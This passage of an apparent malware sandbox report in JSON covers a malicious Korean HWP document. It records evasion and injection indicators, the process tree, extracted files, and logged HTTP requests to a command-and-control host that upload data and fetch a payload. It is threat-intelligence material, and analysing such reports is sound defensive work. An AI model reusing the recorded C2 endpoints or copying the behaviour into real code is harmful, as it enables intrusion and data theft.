guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"gswin32c.exe\" is protecting 64 bytes with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00279115-00003256-25430-268-013A8717\n cpuid at 00279263-00002972-33871-252-00409D57\n cpuid at 00279596-00003048-43732-292-0040A953\n cpuid at 00287075-00000552-48321-252-00409D57\n cpuid at 00287408-00003420-51972-292-0040A953\n cpuid at 00287773-00001752-55774-252-00409D57\n cpuid at 00288107-00000336-59078-292-0040A953","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"Win32_NetworkAdapter\" (Indicator: \"win32_networkadapter\"; File: \"00279517-00002568.00000001.280041.00701000.00000020.mdmp\")\n \"Win32_NetworkAdapterConfiguration.Index=%d\" (Indicator: \"win32_networkadapterconfiguration\"; File: \"00279517-00002568.00000001.280041.00701000.00000020.mdmp\")\n \"Win32_BIOS\" (Indicator: \"win32_bios\"; File: \"00279517-00002568.00000001.280041.00701000.00000020.mdmp\")\n \"Win32_Processor\" (Indicator: \"win32_process\"; File: \"00279517-00002568.00000001.280041.00701000.00000020.mdmp\")\n \"Win32_ComputerSystem\" (Indicator: \"win32_computersystem\"; File: \"00279517-00002568.00000001.280041.00701000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"userinit.exe\" (Thread ID: 1008) slept \"520\" times (threshold: 500)","origin":"API Call","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Environment Awareness","name":"Tries to sleep for a long time (more than two minutes)","description":"\"userinit.exe\" sleeping for \"04980000\" milliseconds\n \"userinit.exe\" sleeping for \"03960000\" milliseconds\n \"userinit.exe\" sleeping for \"05640000\" milliseconds\n \"userinit.exe\" sleeping for \"05100000\" milliseconds\n \"userinit.exe\" sleeping for \"06060000\" milliseconds\n \"userinit.exe\" sleeping for \"05040000\" milliseconds\n \"userinit.exe\" sleeping for \"04320000\" milliseconds\n \"userinit.exe\" sleeping for \"04080000\" milliseconds","origin":"API Call","relevance":10,"id":"api-24","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"1/66 reputation engines marked \"http://hellojames.sportsontheweb.net/post/post.php\" as malicious (1% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"$2d","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Allocates virtual memory in a remote process","description":"\"Hwp.exe\" allocated memory in \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$2e","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Heuristic match: \"[01]: 192.168.240.26\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 185.176.43.94 on port 80 is sent without HTTP header","origin":"Network Traffic","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"root\\cimv2\" (Indicator: \"root\\cimv2\")\n \"WmiPrvSE.exe 984 Services 0 12,652 K\" (Indicator: \"wmiprvse.exe\")\n \"WmiPrvSE.exe 1104 Services 0 8,076 K\" (Indicator: \"wmiprvse.exe\")\n \"WmiPrvSE.exe 2600 Services 0 4,776 K\" (Indicator: \"wmiprvse.exe\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to open the clipboard","description":"OpenClipboard@USER32.DLL at 00279596-00003048-43732-226-00403C90\n OpenClipboard@USER32.DLL at 00287408-00003420-51972-226-00403C90\n OpenClipboard@USER32.DLL at 00288107-00000336-59078-226-00403C90","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1115","relevance":10,"id":"stream-0","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"userinit.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"userinit.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"userinit.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"userinit.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"userinit.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"userinit.exe\" checked file \"C:\"","origin":"API Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2f","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"malicious","category":"Installation/Persistance","name":"Sets thread context in a remote process (often injection or process hollowing)","description":"\"HimTrayIcon.exe\" set thread context in remote process \"%WINDIR%\\System32\\userinit.exe\" (PID: 00000a68)\n \"HimTrayIcon.exe\" set thread context in remote process \"%WINDIR%\\System32\\userinit.exe\" (PID: 00000654)\n \"HimTrayIcon.exe\" set thread context in remote process \"%WINDIR%\\System32\\userinit.exe\" (PID: 00000eb0)\n \"HimTrayIcon.exe\" set thread context in remote process \"%WINDIR%\\System32\\userinit.exe\" (PID: 00000af4)\n \"HimTrayIcon.exe\" set thread context in remote process \"%WINDIR%\\System32\\userinit.exe\" (PID: 00000e20)\n \"HimTrayIcon.exe\" set thread context in remote process \"%WINDIR%\\System32\\userinit.exe\" (PID: 00000c90)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-14","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"malicious","category":"Network Related","name":"Found more than one unique User-Agent","description":"Found the following User-Agents: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)\n Mozilla/5.0","origin":"Network Traffic","relevance":5,"id":"network-15","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$30","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"Internal YARA signature matched on file \"all.bstring\"","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"malicious","category":"Unusual Characteristics","name":"References suspicious system modules","description":"$31","origin":"File/Memory","mitre_attack_id":"T1215","relevance":5,"id":"string-24","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$32","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs files to a webserver"},{"detail":"Contains ability to open the clipboard"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"},{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]}]},"activity":{"stats":{"process_count":17,"spawned_processes_count":17,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":12,"imported_dlls_count":133,"dropped_files_count":0,"extracted_files_count":16,"files_written_count":377,"files_deleted_count":0,"registry_keys_created_count":0,"registry_keys_modified_count":0,"registry_keys_deleted_count":10,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":10,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["banker","floxif","golddragon","neshta","ramnit","xolxo","evasive"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed","TOR analysis"],"sandbox_reports":[{"id":"5cecf102038838a7115fd1ab","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["BGR"],"submit_name":"이벤트 당첨자 개인정보 수집 및 이용 동의 안내서.hwp","analysis_start_time":"2019-05-28T08:27:08+00:00","indicators_count":{"informative":21,"suspicious":19,"malicious":6},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed","TOR analysis"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.176.43.94","port":80,"protocol":"TCP","country":"Bulgaria","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]}],"dns_resolutions":[{"domain":"hellojames.sportsontheweb.net","address":"185.176.43.94","ttl":2036,"country":"Bulgaria","registrar_name":"ENOM, INC.","registrar_organization":"ATTRACTSOFT GMBH","registrar_name_servers":"NS1.RUNHOSTING.COM","registrar_creation_date":"2007-05-11T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]}],"http_requests":[{"host":"hellojames.sportsontheweb.net","host_ip":"185.176.43.94:80","url":"/post/post.php","method":"POST","header":"POST /post/post.php HTTP/1.1\nAccept: */*\nHost: hellojames.sportsontheweb.net\nReferer: http://hellojames.sportsontheweb.net/post/post.php\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG\nAccept-Language: en-us\nUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)\nContent-Length: 17487\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"host":"hellojames.sportsontheweb.net","host_ip":"185.176.43.94:80","url":"/post/download.php?filename=loves111","method":"GET","header":"GET /post/download.php?filename=loves111 HTTP/1.1\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0\nHost: hellojames.sportsontheweb.net\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}],"processes":[{"pid":2364,"ppid":0,"name":"Hwp.exe","command_line":"\"C:\\________.hwp\"","sha256":"1acb6efeb18f3b315eebfea24494ab9331ed10a2a3341d8abe4cf0da91718dc9","normalized_path":"%PROGRAMFILES%\\HNC\\Hwp80\\Hwp.exe","uid":"00276489-00002364","icon":"$33"},{"pid":3256,"ppid":2364,"name":"HimTrayIcon.exe","command_line":"","sha256":"b783a2a69591cc1509acd0d3b33bdf69c87908669741f03a06f7d152cbe2923e","normalized_path":"%PROGRAMFILES%\\HNC\\Common80\\HimTrayIcon.exe","parent_uid":"00276489-00002364","uid":"00279115-00003256"},{"pid":2664,"ppid":3256,"name":"userinit.exe","command_line":"","sha256":"538fe1012fedc72727a8de0c2c01944b3d35c29812ecef88e95aac07235e0b0b","normalized_path":"%WINDIR%\\System32\\userinit.exe","parent_uid":"00279115-00003256","uid":"00279483-00002664"},{"pid":556,"ppid":2664,"name":"cmd.exe","command_line":"/c %TEMP%\\a_1d87.bat","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00279483-00002664","uid":"00279507-00000556"},{"pid":2568,"ppid":556,"name":"systeminfo.exe","command_line":"","sha256":"dce2c5ea1da23e63eeff2620141fbc2ca45fc4a64f40af89e722f4b5fafed27c","normalized_path":"%WINDIR%\\System32\\systeminfo.exe","parent_uid":"00279507-00000556","uid":"00279517-00002568"},{"pid":3940,"ppid":556,"name":"tasklist.exe","command_line":"","sha256":"ad3e811249da750d80f2762c3aeb403780c1b69d05911e3c9950a7daed9e6670","normalized_path":"%WINDIR%\\System32\\tasklist.exe","parent_uid":"00279507-00000556","uid":"00280050-00003940"},{"pid":1620,"ppid":3256,"name":"userinit.exe","command_line":"","sha256":"538fe1012fedc72727a8de0c2c01944b3d35c29812ecef88e95aac07235e0b0b","normalized_path":"%WINDIR%\\System32\\userinit.exe","parent_uid":"00279115-00003256","uid":"00279887-00001620"},{"pid":3760,"ppid":3256,"name":"userinit.exe","command_line":"","sha256":"538fe1012fedc72727a8de0c2c01944b3d35c29812ecef88e95aac07235e0b0b","normalized_path":"%WINDIR%\\System32\\userinit.exe","parent_uid":"00279115-00003256","uid":"00287298-00003760"},{"pid":3616,"ppid":3256,"name":"userinit.exe","command_line":"","sha256":"538fe1012fedc72727a8de0c2c01944b3d35c29812ecef88e95aac07235e0b0b","normalized_path":"%WINDIR%\\System32\\userinit.exe","parent_uid":"00279115-00003256","uid":"00287646-00003616"},{"pid":2804,"ppid":3256,"name":"userinit.exe","command_line":"","sha256":"538fe1012fedc72727a8de0c2c01944b3d35c29812ecef88e95aac07235e0b0b","normalized_path":"%WINDIR%\\System32\\userinit.exe","parent_uid":"00279115-00003256","uid":"00287997-00002804"},{"pid":3216,"ppid":3256,"name":"userinit.exe","command_line":"","sha256":"538fe1012fedc72727a8de0c2c01944b3d35c29812ecef88e95aac07235e0b0b","normalized_path":"%WINDIR%\\System32\\userinit.exe","parent_uid":"00279115-00003256","uid":"00288358-00003216"},{"pid":2972,"ppid":2364,"name":"gbb.exe","command_line":"\"%TEMP%\\Hnc\\BinData\\EMB00000ce043d1.eps\" \"%TEMP%\\gsb835C.tmp\"","sha256":"74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5","normalized_path":"%PROGRAMFILES%\\HNC\\Common80\\ImgFilters\\GS\\gs8.71\\bin\\gbb.exe","parent_uid":"00276489-00002364","uid":"00279263-00002972"},{"pid":3048,"ppid":2364,"name":"gswin32c.exe","command_line":"@%TEMP%\\gsa835C.tmp","sha256":"d61704196b2847d06aa89b7ead44834d95ba70484936c7cf8d8425fe953a8c99","normalized_path":"%PROGRAMFILES%\\HNC\\Common80\\ImgFilters\\GS\\gs8.71\\bin\\gswin32c.exe","parent_uid":"00276489-00002364","uid":"00279596-00003048"},{"pid":552,"ppid":2364,"name":"gbb.exe","command_line":"\"%TEMP%\\Hnc\\BinData\\EMB00000ce043d3.eps\" \"%TEMP%\\gsb602A.tmp\"","sha256":"74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5","normalized_path":"%PROGRAMFILES%\\HNC\\Common80\\ImgFilters\\GS\\gs8.71\\bin\\gbb.exe","parent_uid":"00276489-00002364","uid":"00287075-00000552"},{"pid":3420,"ppid":2364,"name":"gswin32c.exe","command_line":"@%TEMP%\\gsa602A.tmp","sha256":"d61704196b2847d06aa89b7ead44834d95ba70484936c7cf8d8425fe953a8c99","normalized_path":"%PROGRAMFILES%\\HNC\\Common80\\ImgFilters\\GS\\gs8.71\\bin\\gswin32c.exe","parent_uid":"00276489-00002364","uid":"00287408-00003420"},{"pid":1752,"ppid":2364,"name":"gbb.exe","command_line":"\"%TEMP%\\Hnc\\BinData\\EMB00000ce043d3.eps\" \"%TEMP%\\gsb8AB5.tmp\"","sha256":"74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5","normalized_path":"%PROGRAMFILES%\\HNC\\Common80\\ImgFilters\\GS\\gs8.71\\bin\\gbb.exe","parent_uid":"00276489-00002364","uid":"00287773-00001752"},{"pid":336,"ppid":2364,"name":"gswin32c.exe","command_line":"@%TEMP%\\gsa8AB5.tmp","sha256":"d61704196b2847d06aa89b7ead44834d95ba70484936c7cf8d8425fe953a8c99","normalized_path":"%PROGRAMFILES%\\HNC\\Common80\\ImgFilters\\GS\\gs8.71\\bin\\gswin32c.exe","parent_uid":"00276489-00002364","uid":"00288107-00000336"}],"all_imported_dlls":["netutils.dll","dbghelp.dll","wship6.dll","security.dll","odbcint.dll","iertutil.dll","winsta.dll","mscms.dll","cscapi.dll","msvcrt.dll","KernelBase.dll","srvcli.dll","HncProcessObject.dll","sspicli.dll","duser.dll","oleaccrc.dll","HncIMM80.dll","HncBM80.dll","kernel32.dll","api-ms-win-downlevel-user32-l1-1-0.dll","msctf.dll","HncSpeller80.dll","advapi32.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","mswsock.dll","dnsapi.dll","winbrand.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","clbcatq.dll","gdi32.dll","wininet.dll","rsaenh.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","profapi.dll","nlaapi.dll","msv1_0.dll","dhcpcsvc.dll","wshqos.dll","HNCXML80.dll","crypt32.dll","wmiutils.dll","mfc90u.dll","nsi.dll","WSHTCPIP.DLL","HncEO.dll","HimCfgDlg80.dll","cfgmgr32.dll","HncAtlExt80.dll","rasadhlp.dll","npmproxy.dll","apphelp.dll","wkscli.dll","MFC90ENU.DLL","ntdll.dll","tzres.dll","comctl32.dll","normaliz.dll","wbemsvc.dll","dui70.dll","oleaut32.dll","ATL90.dll","ws2_32.dll","webio.dll","wbemcomn.dll","netapi32.dll","imm32.dll","msimg32.dll","credssp.dll","RpcRtRemote.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","slc.dll","oledlg.dll","lpk.dll","usp10.dll","gsdll32.dll","oleacc.dll","wtsapi32.dll","mlang.dll","HncBL80.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-core-synch-l1-2-0.dll","propsys.dll","linkinfo.dll","ntshrui.dll","user32.dll","shlwapi.dll","HncLibeay8.dll","HncVfs80.dll","devobj.dll","mpr.dll","api-ms-win-downlevel-version-l1-1-0.dll","msvcr100.dll","wbemprox.dll","HwpABase.dll","wsock32.dll","msasn1.dll","cryptsp.dll","odbc32.dll","sechost.dll","msvcr90.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","rpcrt4.dll","HncBD80.dll","netprofm.dll","FWPUCLNT.DLL","comdlg32.dll","cryptdll.dll","dwmapi.dll","msvcp90.dll","HncBlogDll.dll","winmm.dll","IPHLPAPI.DLL","ExplorerFrame.dll","urlmon.dll","shell32.dll","version.dll","GdiPlus.dll","uxtheme.dll","rpcss.dll","setupapi.dll","winhttp.dll","ntdsapi.dll","HncXerCore8.dll","ntmarta.dll","ole32.dll","userenv.dll","winnsi.dll","dhcpcsvc6.dll","framedynos.dll","fastprox.dll","secur32.dll","cryptbase.dll","Wldap32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"EMB00000ce043d1.eps","sha256":"ce5579f03934356f38c6f09d0639fb394379c3015bbdcd9c96fa460e83efcf2b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"EMB00000ce043d3.eps","sha256":"ce5579f03934356f38c6f09d0639fb394379c3015bbdcd9c96fa460e83efcf2b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"a_1d87.bat","sha256":"dc5268196098eef11a2987e485bf658593b06e0ce7abaaaf94698be7c4b1a553","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"gsa602A.tmp","sha256":"4b382b98cafd3eaa647ba05916450951067d64e0beb196ff732de52d780b237b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"gsa835C.tmp","sha256":"ed2083503a59fa41f861cb5a905ae3543b26abd88dd3d049f723f58c3811864c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"gsa8AB5.tmp","sha256":"7a2b7a5a6d8dc82f5823618056ecbe52a555766f4d57c0c5bc01c3656b55caae","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"~elserf.log","sha256":"e387b63204402a754bff2cfbe2358f5212309a920b0feb529fbf7e4093e9e261","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"________.hwp.lnk","sha256":"37b50ce3f0006a692651ddfc6d4d495c8d8837f3a0fd6bb55f88e784be332776","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"Fontlist01.lst","sha256":"937b119f429b9a43771ffb05c9e6ad4013f6f1e08edec770e0eb2aa8b3606dd3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"ShareFont.ini","sha256":"168e675fe19679a9db1628c25ad735bb6a85b06167ea98f7029afb375a49bc7b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"gst602A.tmp","sha256":"692935951515d90b7b324207ec8e5d637807a37919219c9a1d4e429896fcb71b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"gst835C.tmp","sha256":"692935951515d90b7b324207ec8e5d637807a37919219c9a1d4e429896fcb71b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"gst8AB5.tmp","sha256":"692935951515d90b7b324207ec8e5d637807a37919219c9a1d4e429896fcb71b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"prv00000ce043d2.gif","sha256":"7d4af7b8b79ac9a821d23c3a7d8da0e0b8d79a634cd496ae1874e6da36c7a086","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"BIN0001.eps_extracted_1559032434399","sha256":"2a414fe72d52d40649742b79429dae74563561247b7e539ac5f74ef9a7b7a308","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"name":"_00000ce043d4.bmp","sha256":"e21cb8cd190e3551ac72914bb52906e96f2c40652fe402603bcd1e6fe0be9abd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]}],"files_written":[{"path":"%PROGRAMFILES%\\HNC\\Hwp80\\HwpLogo.hfp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\~DF1B7E1264EF721EB5.TMP","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\plugin\\HncChartPlugin.pfo","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\plugin\\HncEqEdit.pfo","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\plugin\\HncTextArt.pfo","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\en-US\\odbcint.dll.mui","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\HNC\\User\\Hwp\\ShortKey80.htk","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Hwp80\\Toolbox\\Preset\\textart_preset.hwp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\~DFA34D497C5F253C63.TMP","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Hwp80\\Toolbox\\Preset\\memo_preset.hwp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\~DF6514223F0291402D.TMP","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%WINDIR%\\System32\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000020.db","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\HNC\\User\\Shared80\\HwpTemplate\\Doc\\ENU\\Normal80.hwt","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\~DF5A6E5BD774D3E8D3.TMP","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Hwp80\\Buttons\\Default\\Default_TB_Large_enu.bmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Hwp80\\Buttons\\Default\\Default_TB_enu.bmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Hwp80\\Buttons\\Default\\Default_TB_Large_Inactive_enu.bmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Hwp80\\Buttons\\Default\\Default_TB_Inactive_enu.bmp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"C:\\________.hwp","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%TEMP%\\~DF2D3BF6C94B238C24.TMP","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%PROGRAMFILES%\\HNC\\Common80\\ImgFilters\\GS\\gs8.71\\bin\\gbb.exe","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"path":"%APPDATA%\\AhnLab","sources":[{"report_type":"sandbox","report_id":"5cecf102038838a7115fd1ab"}]},{"